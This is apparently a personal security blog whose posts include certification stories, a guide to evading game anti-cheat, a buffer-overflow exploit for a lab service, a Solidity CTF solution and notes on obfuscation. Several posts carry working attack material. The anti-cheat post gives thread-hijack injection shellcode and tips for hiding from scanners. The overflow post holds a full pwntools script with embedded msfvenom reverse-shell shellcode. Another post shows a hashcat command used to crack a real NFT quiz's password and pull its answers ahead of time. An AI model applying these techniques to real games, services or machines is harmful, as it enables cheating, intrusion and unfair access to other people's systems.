Just got Graduated from Project SPARTA!

Smarter Philippines through Data Analytics R&D, Training and Adoption

Project Smarter Philippines through Data Analytics, R&D, Training, and Adoption (SPARTA) is dedicated to putting in place the necessary online education, research and development mechanisms, and infrastructure to enable the industry of Data Science and Analytics, and foster smart governance practices.

I am thrilled to share that I finished the Data Scientist pathway of project SPARTA. It has been a long journey since I enrolled on 2020. I was not able to finish it on the first batch and was only able to complete it along with current batch.

I would like to say thanks to Development Academy of the Philippines, Department of Science and Technology, Department of Science and Technology-Philippine Council for Industry, Energy and Emerging Technology Research and Development, and all the Partners and Sponsors to make this project possible.

SPARTA offers 12 micro-specialization and 6 main pathways. Each micro-specialization and pathways consists of multiple required courses that you must pass. Below are the list of microspecs and pathway that I successfully passed.

Data Scientist
Getting Grounded on Analytics
Essential Excel Skills for Data Preparation and Analysis
Computing in Python
SQL for Business Users
Data Management Fundamentals
Dashboards and Drill-Down Analytics
Data Visualization Fundamentals
Data Visualization Using Tableau and Python
Storytelling Using Data
Data-Driven Research Fundamentals
Experimental Design and Analysis
Statistical Analysis and Modeling Using Excel
Statistical Analysis and Modeling Using SQL and Python
Data Science and Machine Learning Using Python
Data Scientist Capstone Course
Python for Data Engineering
Analytics Applications in Operations
Analytics Applications in Finance and Risk
Data-Driven Policy Analysis
Applied Analytics in Public Human Resource Management
Applied Analytics in Public Finance and Budgeting
Data Engineering in e-Governance Systems
Urban Planning in the Fourth Industrial Revolution
Livable and Sustainable Cities in e-Governance

Domain Knowledge: Finance and Risk
Domain Knowledge: Urban Planning
Operational Analytics
Public Policy and Governance
Research Methods
Statistical Techniques
Computing
Data Visualization
Methods and Algorithms

Here is a full course map that I took.
https://mark.rxmsolutions.com/wp-content/uploads/2023/12/Untitled-Diagram2-1-scaled.jpg

With these newly found knowledges, I would surely use these for the betterment and improvement not only for myself but also the industry that I worked for. Thank you so much SPARTA!

P.S. For uncensored and verifiable certificates, kindly email me at [email protected].

Basic Anti-Cheat Evasion

So it’s been a while since I posted a blog. I was so busy with other things, especially adjusting the schedule with my work and my studies.

This short article I’ll discuss some very basic techniques on evading anti-cheat. Of course, you would still need to adjust the evasion mechanism depending on the anti-cheat you are trying to defeat.

On this blog, we will focus on Internal anti-cheat evasion techniques.

Part 1: The injector

First part of making your “cheat” is creating an executable that would inject your .dll into the process, A.K.A the game.

There are lot of injection mechanisms (copied from cynet). Below is the list but not limited to:

Classic DLL injection 

Classic DLL injection is one of the most popular techniques in use. First, the malicious process injects the path to the malicious DLL in the legitimate process’ address space. The Injector process then invokes the DLL via a remote thread execution. It is a fairly easy method, but with some downsides: 

Reflective DLL injection

Reflective DLL injection, unlike the previous method mentioned above, refers to loading a DLL from memory rather than from disk. Windows does not have a LoadLibrary function that supports this. To achieve the functionality, adversaries must write their own function, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring. 

Thread execution hijacking

Thread Hijacking is an operation in which a malicious shellcode is injected into a legitimate thread. Like Process Hollowing, the thread must be suspended before injection.

PE Injection / Manual Mapping

Like Reflective DLL injection, PE injection does not require the executable to be on the disk. This is the most often used technique seen in the wild. PE injection works by copying its malicious code into an existing open process and causing it to execute. To understand how PE injection works, we must first understand shellcode. 

Shellcode is a sequence of machine code, or executable instructions, that is injected into a computer’s memory with the intent of taking control of a running program.  Most shellcodes are written in assembly language. 

Manual Mapping + Thread execution hijacking = Best Combo

Above all of this, I think the very stealthy technique is the manual mapping with thread hijacking.
This is because when you manual map a DLL into a memory, you wouldn’t need to call DLL related WinAPI as you are emulating the whole process itself. Windows isn’t aware that a DLL has been loaded, therefore it wouldn’t link the DLL to the PEB, and it would not create structs nor thread local storage.
Aside from these, since you would be having thread hijacking to execute the DLL, then you are not creating a new thread, therefore you are safe from anti-cheat that checks for suspicious threads that are spawned. After the DLL sets up all initialization and hooks, it would return the control of the hijacked thread its original state, therefore, like nothing happened.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/injector/injection.cpp

This repository demonstrate a very simple injector. The following are the steps to achieve the DLL injection:

  • Elevate injector’s process to allow to get handle with PROCESS_ALL_ACCESS permission
  • VirtualAllocEx the dll image to the memory
  • Resolve Imports
  • Resolve Relocations
  • Initialize Cookie
  • VirtualAllocEx the shellcode
  • Fix the shellcode accordingly
  • Stop the thread and adjust it’s RIP pointing to the EntryPoint
  • Resume the thread

The shellcode

byte thread_hijack_shell[] = {
	0x51, // push rcx
	0x50, // push rax
	0x52, // push rdx
	0x48, 0x83, 0xEC, 0x20, // sub rsp, 0x20
	0x48, 0xB9, // movabs rcx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xB8, // movabs rax, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xFF, 0xD0, // call rax
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x89, 0x54, 0x24, 0x18, // mov qword ptr [rsp + 0x18], rdx
	0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
	0x5A, // pop rdx
	0x58, // pop rax
	0x59, // pop rcx
	0xFF, 0x64, 0x24, 0xE0 // jmp qword ptr [rsp - 0x20]
};

The line 7 is where you put the image base address, the line 9 is for dwReason, the line 11 is for DLL’s entrypoint and the line 14 is for the original thread RIP that it would jump back after finishing the DLL’s execution.

This injection mechanism is prone to lot of crashes. Approximately around 1 out of 5 injection succeeds. You need to load the game until on the lobby screen, then open the injector, if it crashes, just reboot the game and repeat the process until successful injection.

Part 2: The DLL

Of course, in the dll itself, you still need to do some cleanups. The injection part is done but the “main event of the evening” is just getting started.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/example_dll/dllmain.cpp

In the DLL main, we can see cleanups.

UnlinkModuleFromPEB

This one is unlinking the DLL from PEB. But since we are doing Manual Map, it wouldn’t have an effect at all, because windows didn’t even know that a DLL is loaded at all. This is useful tho, if we injected the DLL using classic injection method.

FakePeHeader

This one is replacing the PE header of DLL with a fakeone. Most memory scanner, tries to find suspicious memory location by checking if a PE exists. An MS-DOS header begins with the magic code 0x5A4D, so if an opcodes begin with that magic bytes, chances are, a PE is occupying that space. After that, the memory scanner might read that header for more information on what is really loaded with that memory location.

No Thread Creation

THIS IS IMPORTANT! Since we are hooking the IDXGISwapChain::Present, then we don’t see any reason to keep another thread running, so after our DLL finishes the setup, we then return the control of the thread to its original state. We can use the PresentHook to continue our “dirty business” inside the programs memory. Besides, as mentioned earlier, having threads can lead to anti-cheat flagging.

Obfuscation thru Polymorphism and Instantiation

This technique is already discussed on another blog: Obfuscation thru Polymorphism and Instantiation.

CALLBACKS_INSTANCE = new CALLBACKS();
MAINMENU_INSTANCE = new MAINMENU();

XORSTR

Ah, yes, the XORSTR. We can use this to hide the real string and will only be calculated upon usage.
To demonstrate the XORSTR, here is a sample usage. Focus on the line with “##overlay” string.

xorstr

And this is what it looks like after compiling and putting it under decompiler.

IDA Decompile

Other methodologies

There are some few more basic methodologies that wasn’t applied in the project. Below are following but not limited to:

  • Anti-debugging
  • Anti-VM
  • Polymorphism and Code mutation (to avoid heuristic patten scanners)
  • Syscall hooks
  • Hypervisor-assisted hooking
  • Scatter Manual Mapper (https://github.com/btbd/smap)
  • and etc…

This blog is not meant to teach reversing a game, but if you would like to deep dive more on reverse engineering, checkout: https://www.unknowncheats.me/ and https://guidedhacking.com/

Other resources:

POC and Conclusion

So, with the basic knowledge we have here, we tried to inject this on one of a common game that is still on ring3 (because ring0 AC’s are much more harder to defeat 😭).

BEWARE THAT THE ABOVE SCREENSHOTS ARE ONLY DONE IN A NON-COMPETITIVE MODE, AND ONLY STANDS FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR ANY ACTION YOU MAKE WITH THE KNOWLEDGE THAT I SHARED WITH YOU.

And now, we reached the end of this blog, but before I finished this article, I want to say thank you for reading this entire blog, also, I just want to say that I also passed the CISSP last October 2023, but wasn’t able to update here due to lot of workloads.

Again, I am really grateful for your time. Until next time!

Passed OSCP on 2nd Attempt!

The preparation

I’ve been preparing this OSCP thing for almost 4 years. No, I am not kidding. This OSCP is a cultivation of all the knowledge you learn in IT/CS course. OSCP is golden standard when it comes to Penetration Testing that’s why I’m really eager to get this one. This is not the most insane technical exam, but I could say it’s close to insane. Most topics you need to be aware prior on taking OSCP are the following but not limited to: Networking, Basic Programming, OS Fundamentals, Web and Application fundamentals, Basic Researching, CyberSecurity methodologies and frameworks and the Art of Being Persistent.

You need to at least know basic networking, so you know how tunnels work, how machine communicates on different protocols, and a lot more! You will also need to understand networking so you can pivot your paths deep on the network you are penetrating. Having a strong background in networking can definitely help you!

You will also need to know Basic Programming. There are times that you want to automate a certain workload than having it doing manual to save time. Having programming on your skill set also strengthen the ability to read code and find probable errors/vulnerability on applications.

OS Fundamentals! Yes, this is important part of your skillset! You need to know the environment of the machines you are attacking. Sometimes, OS are vulnerable to kernel exploits, especially the old and unpatched OS. It’s also important on your skillset so you can quickly navigate through the machine. You need to at least know basic bash and powershell commands!

Web and Application fundamentals, you need to at least understand how web and application behaves. Most often, you need to find a vulnerability on applications so you can gain a foothold on the machine you are attacking.

Basic Researching, this is needed so you know what to search on the search engines, what to look for and what are the part of puzzles you need to find. Think of it like, the internet is a large haystack, and you need to search for a something that you don’t exactly know. You must have a strong critical thinking to find what you exactly need.

CyberSecurity methodologies and frameworks. These are basic concepts in security, like defense-in-depth, zero trust, and a lot more. These concepts can be usually used as opposite when playing in attacker or read team. Once you know he weakness of the network / machines, it’s easy to navigate through.

Art of Being Persistent. This is the willingness to go over and over, trying harder, and not giving up easily! You need to be persistent! You need to have the patience to sit for almost 12 hours a day just to solve a single problem! As OffSec says: “TRY HARDER!”

Before I took OSCP, I went to HTB first. I already talked about HTB on my past article, you can check it here: https://mark.rxmsolutions.com/oscp-a-little-update/.
Basically, I took HTB academy modules first because HTB offers lifetime access to their learning modules. In this way, you can grasp the feeling on how you can effectively use the tools. When you enroll to OSCP, you are only given 90 days to work out the activities and labs, and their pricing is not a joke, so you need to be prepared before jumping in!

Also, as part of my preparation, I also finished boxes as indicated in these link: https://hackersinterview.com/oscp/oscp-like-machines-in-htb-vulnhub-tryhackme/.
They said that these boxes are OSCP-like boxes, so I went for it.

The Fall

So when I finished the activities and secured my bonus points for the OSCP Exam, I feel like I’m confident to jump on the exam.

I booked my OSCP exam. It was a 24-hour proctored exam.
To know more about the exam, check this link: https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide

During the exam, I was caught in the rabbit holes! I was focusing my energy on the wrong paths.
I cannot discuss anymore regarding the exam content. But my mistake was I’m making things complicated in my head.

I was awake 24 hours trying to pwn machines, but in the end, my scores wasn’t enough to pass my first attempt.

I failed.

The Rise

I went look back to learn what are my mistakes. I did a lot of readings, and practiced more.
And then I booked again for 2nd attempt!

On my 2nd attempt, when I attained the minimum passing score, I feel relieved!
But I still have a few hours left, so I did “TRY HARDER!”.
I stayed awake for almost 19 hours, and rested only for 5 hours.
I didn’t pwnd all machines, but my score is above the minimum 70 points.

After that 24 hour long exam, it feels like a hazing!
But it’s not over yet!
I have to make a report on my findings.
The report submission has 24 hour window.
I composed my report, checked everything, and submitted!

OSCP EXAM REPORT

My report was 35 pages. I included the step-by-step procedure on compromising the targets, and also a lot of screenshot!

After a few days, I received an email from OffSec. I was really anxious while reading the email.
And suddenly my heart skipped a beat!

I passed!

OffSec Certified Professional

For the Future Exam Takers

I will strongly advice to make things not complicated. Try simple solutions first.
I’ll also advice to take a lot of sleep before taking the exam. It’s a 24-hour long exam. You will probably be awake for the next 24 hours.
Second to the last advice I can give is to prepare a lot of foods and water, especially the foods that you can gain a lot of energy. Stay hydrated!.
And my important advice is to, always take a break! Have a lot of window to get rest!

What now?

I also finished the HTB Prolab’s Dante and HTB Prolab’s Offshore!
I’m practicing in the Prolabs because I’m planning to take CPTS soon, but I think I will take it after few more months from now as my focus will be shifted to my other life priorities.

Dante
Offshore

Above all, this wouldn’t be possible without the support of my partner.
I will always love you Ruffa! Thank you for the non-stop support!

Thank you so much for reading this guys!
More writeups to come soon!

Why so trusting?

Quick Context: Okay, so recently, we come across some fancy NFT project wherein “Students” are invited to join “Quizzes” and “Projects” to “Graduate”.

A “Graduate” means whitelisted for the mint of the NFT collection.

Our Goal

Our goal is to get into the top leaderboard so we can ensure our whitelist slot. And we want this by all means, so we use our hacker instinct to get advantage on the quiz.

However, we wouldn’t wanna overkill the contest. We didn’t spawn bots to automatically answer the quizzes (which is easy to do), so we just sticked with our bare hands, manually answering the quizzes. And we just stick to one-to-one account to human. We don’t want to disrupt the experience of other people.

The quiz

The quiz is a client sided web app. Meaning, all of the password for the quiz and questions are given to client without levels of authorization. Below are the steps of our reconnaissance and enumeration to extract the password and the set of question for a quiz.

Cracking the Password

Every quiz has different password. And our goal is to crack the password before the quiz starts (hours before the quiz so we have the chance to crack it).

Upon logging-in and browsing to /quiz page, we could see a web api requests. We can see that a request has a response that includes juicy information. We saw a json response that includes quiz details and we write down the _id and the password to our notes.

$2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu

The password is a bcrypt hash.

The first thing we did was to list all possible passwords and try to compare them against the hash.
But sadly, we didn’t got any “possible password” correct.

What is Bcrypt?

The input to the bcrypt function is the password string (up to 72 bytes), a numeric cost, and a 16-byte (128-bit) salt value. The salt is typically a random value. The bcrypt function uses these inputs to compute a 24-byte (192-bit) hash. The final output of the bcrypt function is a string of the form:

$2<a/b/x/y>$[cost]$[22 character salt][31 character hash]

For example, with input password abc123xyz, cost 12, and a random salt, the output of bcrypt is the string

$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg Cost      Salt                        Hash

Where:

  • $2a$: The hash algorithm identifier (bcrypt)
  • 12: Input cost (212 i.e. 4096 rounds)
  • R9h/cIPz0gi.URNNX3kh2O: A base-64 encoding of the input salt
  • PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW: A base-64 encoding of the first 23 bytes of the computed 24 byte hash

The base-64 encoding in bcrypt uses the table ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,[9] which is different than RFC 4648 Base64 encoding.

Back to our discussion

So now we know the basics of bcrypt, we could now start attacking the password hash.

Well, luckily, we got a tool named hashcat.
Without having any more ideas about the password, we can now use the bruteforce technique.
We also know that the password only contains numbers.
So we could go bruteforce increment from ZERO until 10^n. Where n is the number of digits.

hashcat.exe -a 3 -m 3200 --increment --increment-min 1 --increment-max 8 $2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu ?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d

Here, we tell hashcat that our attack mode is Brute-force (-a 3), increment each password iteration (–increment), start from 1 digit (–increment-min 1), end the iteration with maximum of 8 digit (–increment-max 8), password hash that we found earlier ($2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu) and the pattern that we want our hashcat to follow (?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d).

To know more about hashcat, check this out: https://hashcat.net/wiki/doku.php?id=hashcat

And after some couple of minutes, we cracked the hash!

It took only 8 minutes for my GTX1050 to crack a 5-digit password. But it would definitely lasts more longer if the password was longer than 5-digit.
Luckily, the password for this quiz is shorter than the first set of quizzes so we are able to bruteforce this in a very small amount of time.

Extracting Questions

We found a page where we can browse the quiz. We just enter the password that we found for this quiz.

The web app then make a request to the web api and we could see a juicy information here that includes the quiz questionnaires (testData).

We just parse the testData. And boom! Successfully extracted the PASSWORD and the QUESTIONS.

Conclusion

I understand the intention of the developer that they don’t want the participants kinda “DDoS” their servers by having a lot of authentication and authorization though their servers. They just give all their password and quiz data to the client because they want the validation to be on client’s side and not having loads to their server.

The web app’s architecture, does not really abide the Zero Trust Security because they just make the client’s authorized themselves and “trusts” them without proper validation.

Thanks for reading this short writeup!
I hope you enjoy and see you on my next writeup!

Hijack service via buffer overflow (Windows)

Often times, when we are doing penetration tests, we can encounter some applications that is vulnerable to buffer overflow attack.

What Is a Buffer Overflow Attack? (Excerpt from Fortinet)

A buffer overflow attack takes place when an attacker manipulates the coding error to carry out malicious actions and compromise the affected system. The attacker alters the application’s execution path and overwrites elements of its memory, which amends the program’s execution path to damage existing files or expose data.

A buffer overflow attack typically involves violating programming languages and overwriting the bounds of the buffers they exist on. Most buffer overflows are caused by the combination of manipulating memory and mistaken assumptions around the composition or size of data.

A buffer overflow vulnerability will typically occur when code:

  1. Is reliant on external data to control its behavior
  2. Is dependent on data properties that are enforced beyond its immediate scope
  3. Is so complex that programmers are not able to predict its behavior accurately

To read more: https://www.fortinet.com/resources/cyberglossary/buffer-overflow

Demonstration

Pre-requisites and briefing

We found an interesting service (server.exe is made by HTB, no copyright infringement) running as high privilege. We are currently at a low privilege user, finding a way to escalate our privilege and that service might be our ticket to gain high privilege.

We found out that the service is binding to port 4444.
We exfiltrate the service binary so we can do further analysis.
And it turns out we can extract the username and password of it.
But after logging in, nothing interesting happens.

server.exe – port 4444
$ strings server.exe

Output:
...
Dante Server 1.0
Enter Access Name: 
Admin
Access Password: 
Wrong username!
P@$$worD
Correct Password!
Wrong password!
...
Password found but nothing interesting follows

Further investigation, we found out that the DEP on the target machine was turned off.
We also check the binary for dynamic base / ASLR / relocations and such.
Seems like the binary is simply static therefore the base doesn’t change.

We then proceed to replicate the environment to our lab and do our analysis.

Additional checks

Finding the payload offset

We need to determine the correct padding before the EIP is replaced.
If we can control the EIP, then we can control the execution flow of the program and we can hijack it.

Generate a payload

Send this payload on password field. And we need to check the debugger for exceptions that this payload will create.

payload sent
EIP at 33694232
offset at 1028
from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  
  
payload = "A" * 1028 + "B" * 4 + "C" * 500  
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We can try to run this code so we can check if we got our offsets right.

offsets are just in place!

So we can now take control of EIP and hijack the execution flow.
Since we also control the ESP, we can find an instruction that can make the execution to jump to ESP.

jmp esp

We can use https://defuse.ca/online-x86-assembler.htm to assemble and disassemble opcodes

FF E4

We could use the first result at 0x10476D73

0x10476D73

Generating the reverse shell payload

msfvenom reverse shell

We add the payload to our script.
Here is the updated script:

from pwn import *  
import sys  
  
if len(sys.argv) < 3:  
        print("Usage: {} ip port".format(sys.argv[0]))  
        sys.exit()  
  
ip = sys.argv[1]  
port = sys.argv[2]  


#padding before the EIP Replace
buf =  b"A" * 1028

#jmp esp // 0x10476D73
buf += b"\x73\x6d\x47\x10"

#just a NOP buffer before the actual payload
buf += b"\x90" * 10

#this is where esp is pointed, so the instruction will jump here
buf += b""
buf += b"\xb8\xc6\xe1\x27\x01\xdb\xdd\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x46\x12\x83\xee\xfc\x03\x80"
buf += b"\xef\xc5\xf4\xf0\x18\x8b\xf7\x08\xd9\xec\x7e\xed"
buf += b"\xe8\x2c\xe4\x66\x5a\x9d\x6e\x2a\x57\x56\x22\xde"
buf += b"\xec\x1a\xeb\xd1\x45\x90\xcd\xdc\x56\x89\x2e\x7f"
buf += b"\xd5\xd0\x62\x5f\xe4\x1a\x77\x9e\x21\x46\x7a\xf2"
buf += b"\xfa\x0c\x29\xe2\x8f\x59\xf2\x89\xdc\x4c\x72\x6e"
buf += b"\x94\x6f\x53\x21\xae\x29\x73\xc0\x63\x42\x3a\xda"
buf += b"\x60\x6f\xf4\x51\x52\x1b\x07\xb3\xaa\xe4\xa4\xfa"
buf += b"\x02\x17\xb4\x3b\xa4\xc8\xc3\x35\xd6\x75\xd4\x82"
buf += b"\xa4\xa1\x51\x10\x0e\x21\xc1\xfc\xae\xe6\x94\x77"
buf += b"\xbc\x43\xd2\xdf\xa1\x52\x37\x54\xdd\xdf\xb6\xba"
buf += b"\x57\x9b\x9c\x1e\x33\x7f\xbc\x07\x99\x2e\xc1\x57"
buf += b"\x42\x8e\x67\x1c\x6f\xdb\x15\x7f\xf8\x28\x14\x7f"
buf += b"\xf8\x26\x2f\x0c\xca\xe9\x9b\x9a\x66\x61\x02\x5d"
buf += b"\x88\x58\xf2\xf1\x77\x63\x03\xd8\xb3\x37\x53\x72"
buf += b"\x15\x38\x38\x82\x9a\xed\xef\xd2\x34\x5e\x50\x82"
buf += b"\xf4\x0e\x38\xc8\xfa\x71\x58\xf3\xd0\x19\xf3\x0e"
buf += b"\xb3\x5a\x04\x10\x42\xcd\x06\x10\x55\x52\x8e\xf6"
buf += b"\x3f\x7c\xc6\xa1\xd7\xe5\x43\x39\x49\xe9\x59\x44"
buf += b"\x49\x61\x6e\xb9\x04\x82\x1b\xa9\xf1\x62\x56\x93"
buf += b"\x54\x7c\x4c\xbb\x3b\xef\x0b\x3b\x35\x0c\x84\x6c"
buf += b"\x12\xe2\xdd\xf8\x8e\x5d\x74\x1e\x53\x3b\xbf\x9a"
buf += b"\x88\xf8\x3e\x23\x5c\x44\x65\x33\x98\x45\x21\x67"
buf += b"\x74\x10\xff\xd1\x32\xca\xb1\x8b\xec\xa1\x1b\x5b"
buf += b"\x68\x8a\x9b\x1d\x75\xc7\x6d\xc1\xc4\xbe\x2b\xfe"
buf += b"\xe9\x56\xbc\x87\x17\xc7\x43\x52\x9c\xf7\x09\xfe"
buf += b"\xb5\x9f\xd7\x6b\x84\xfd\xe7\x46\xcb\xfb\x6b\x62"
buf += b"\xb4\xff\x74\x07\xb1\x44\x33\xf4\xcb\xd5\xd6\xfa"
buf += b"\x78\xd5\xf2"
  
payload = buf
  
r = remote(ip, port)  
r.recvuntil(':')  
r.sendline("Admin")  
r.recvuntil(':')  
r.sendline(payload)

We then need to start our reverse shell listener

And execute the payload!

payload sent!
HIJACKED

Conclusion and Outro

To summarize what we did, here are the steps:

  1. We find the correct padding for our payload to replace the EIP with our desired address
  2. Since we can replace the EIP, we can hijack the execution flow.
  3. We also have control over the ESP, therefore we can command the EIP to jump to ESP
  4. We generate our reverse shell via msfvenom and add it to our payload
  5. HIJACKED!

Okay, its been quite a while before I was able to publish new content.
I was so busy with OSCP, and the thing is, I did my exam.
… and I failed! LOL.
Well, I thought I was ready, but it seems like I still need more practice.
I will be taking 2nd attempt soon. But for now, ill practice more and more.

That’s it! thanks for reading!

OSCP: A little update

Heyaaa! It’s been a while since I posted my last update regarding my OSCP journey.
As I said a few posts ago, I will be enrolling first with the HTB’s academy modules so that the 3 months of laboratory during OSCP proper will not be wasted.

I want to make the most out of it during the 3 months of OSCP enrollment.
They did an overhaul with the PEN-200 course so it’s better to walk to it prepared.

https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide#bonus-points

During my study in HTB, I try to master the tools of trade as much as I can so when I enroll to OSCP, I know the tools to use and whatnot.
I also finished HTB Academy 2 Paths (I am now qualified to take the CBBH and CPTS exams but I choose to go with OSCP enrollment first):

HTB Certified Bug Bounty Hunter
CERTIFIED BUG BOUNTY HUNTER

https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter

HTB Certified Penetration Testing Specialist
CERTIFIED PENETRATION TESTING SPECIALIST

https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist

Here are all the modules of the 2 combined paths:

HTB

Overall, I can say that HTB really provides good quality materials. A lot of knowledge can be gained from HTB!
The laboratories are time consuming yet very enjoyable!

Sometimes when I hit a wall brick and gets stuck, it get’s frustrating.
But a walk outside and breathing of fresh air can really help.

CYBER APOCALYPSE CTF 2023

Also, As I mentioned on my last post, I joined the CA CTF 2023. Since I cannot find any team to join (probably because I am a newbie) then I made my own and participated as solo player.

I got to pwn a lot of easy and very easy challenges but I don’t have time left to pwn medium and higher challenges. I ended up a team ranking of 468/6483 and got only 29/74 flags.

Certificate of Participation

OSCP Enrollment

And since I don’t have any company sponsor, and the money I will spend will come from my own pocket, then I have to be practical as much as I can. That’s why I just opted to enroll first with HTB academy to master the tools before I enroll to OSCP.

I chose the “Course & Cert Exam Bundle” as it is the most cheapest but it only comes with 90 days of lab access.

OSCP

I will try to post updates whenever I got time. But yeah, probably I got lesser time as of now because I will be focusing as much as possible during the OSCP proper.

Thank you so much for reading! Stay tuned!

CTF CA23: BLOCKCHAIN //The Art of Deception

Hey! Whats up?!, I quite went dark during my OSCP study so I wasn’t able to post updates here.
More updates on me later but for this post, I want to share a small CTF writeup!
This is a writeup for “The Art of Deception” in the Blockchain category of Cyber Apocalypse 2023

HTB CA2023

The Problem

I was given 2 files:

pragma solidity ^0.8.18;


interface Entrant {
    function name() external returns (string memory);
}

contract HighSecurityGate {
    
    string[] private authorized = ["Orion", "Nova", "Eclipse"];
    string public lastEntrant;

    function enter() external {
        Entrant _entrant = Entrant(msg.sender);

        require(_isAuthorized(_entrant.name()), "Intruder detected");
        lastEntrant = _entrant.name();
    }

    function _isAuthorized(string memory _user) private view returns (bool){
        for (uint i; i < authorized.length; i++){
            if (strcmp(_user, authorized[i])){
                return true;
            }
        }
        return false;
    }

    function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
        return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2)); 
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Setup {
    HighSecurityGate public immutable TARGET;

    constructor() {
        TARGET = new HighSecurityGate();
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }
}

These smart contracts are pre-deployed in a local blockchain EVM.
The problem is simple. If the isSolved() function returns True then I passed the challenge.

Quite simple isn’t it? For experienced pentesters, yes this is quite easy, but for me, a novice, it’s kinda frustrating but rewarding.

The solution

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Solution {
    HighSecurityGate public immutable TARGET;

    string public myName;
    int public numOfCalls = 0;

    constructor(address _input) {
        TARGET = HighSecurityGate(_input);
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }

    function name() external returns (string memory){

        if(numOfCalls == 0){
            this.modifyName("Orion");
        }else{
            this.modifyName("Pandora");
        }

        numOfCalls++;
        return myName;
    }

    function modifyName(string memory _inputName) external{
        myName = _inputName;
    }

    function reset_numOfCalls() external{
        numOfCalls = 0;
    }

    function attack() external{
        TARGET.enter();
    }
}

So to carry out the attack, just execute the attack() function.

Some variable here are used in play:

  • myName – This is used as a storage variable that returns a name whenever name() is executed
  • numOfCalls – This is an incremental counter for the name() whenever it gets executed

Some functions are used in play too:

  • name() – This is a function that check if numOfCalls is equivalent to 0 then it updates the myName via modifyName() as “Orion”. Else if it is not equals to 0 then it will update as “Pandora”. It will also increment the numOfCalls. Finally, it will return the value of myName.
  • modifyName() – Updates the myName.
  • reset_numOfCalls() – resets the numOfCalls counter
  • attack() – calls the enter() function in the target contract

Okay, the logic is simple.

Entrant _entrant = Entrant(msg.sender);

The above code, typedef the caller to an interface. In our case, since an address doesn’t have function name() as referred in the Entrant interface then therefore the attack should be carried out by a contract and not directly from an address.

require(_isAuthorized(_entrant.name()), "Intruder detected");

Here, we can see that _entrant.name() is called. Therefore, getting the value of “Orion” (assuming that the numOfCalls is 0) and incrementing numOfCalls. The _isAuthorized will return true because “Orion” is a valid string as per listed in authorized array.

lastEntrant = _entrant.name();

We can see here another call to _entrant.name(). Therefore getting the value of “Pandora” (assuming that the numOfCalls is not 0) and assign it to lastEntrant.

Conclusion

Always check the calls to a contract instance. These attack might be used in a chained vector scenario.
For example, if contract A is calling to contract B, when the attacker hacked the contract B, he might use the contract B to pivot the attack to contract A.

That’s it folks! Thanks for reading!

Obfuscation thru Polymorphism and Instantiation

The goal of this writeup is to create an additional layer of defense versus analysis.
A lot of malwares utilize this technique in order for the binary analysis make more harder.

Polymorphism is an important concept of object-oriented programming. It simply means more than one form. That is, the same entity (function or operator) behaves differently in different scenarios

www.programiz.com

We can implement polymorphism in C++ using the following ways:

  1. Function overloading
  2. Operator overloading
  3. Function overriding
  4. Virtual functions

Now, let’s get it working. For this article, we are using a basic class named HEAVENSGATE_BASE and HEAVENSGATE.

Fig1: Instantiation

Then we will be calling a function on an Instantiated Object.

Fig2: Call to a function

Normal Declarations

Fig3: We have a pointer named HEAVENSGATE_INSTANCE.

When we examine the function call (Fig2) under IDA, we get the result of:

Fig4: Direct Call to HEAVENSGATE::InitHeavensGate

and when we cross-reference the functions, we will see on screen:

Fig5: xref HEAVENSGATE::InitHeavensGate

The xref on the .rdata is a call from VirtualTable of the Instantiated object. And the xref on the InitThread is a call to the function (Fig2).

Basic Obfuscation

So, how do we apply basic obfuscation?

We just need to change the declaration of Object to be the “_BASE” level.

Fig6: A pointer named HEAVENSGATE_INSTANCE pointer to HEAVENSGATE_BASE

Unlike earlier, the pointer points to a class named HEAVENSGATE. But this time we will be using the “_BASE”.

Under the IDA, we can see the following instructions:

Fig7: Obfuscated call

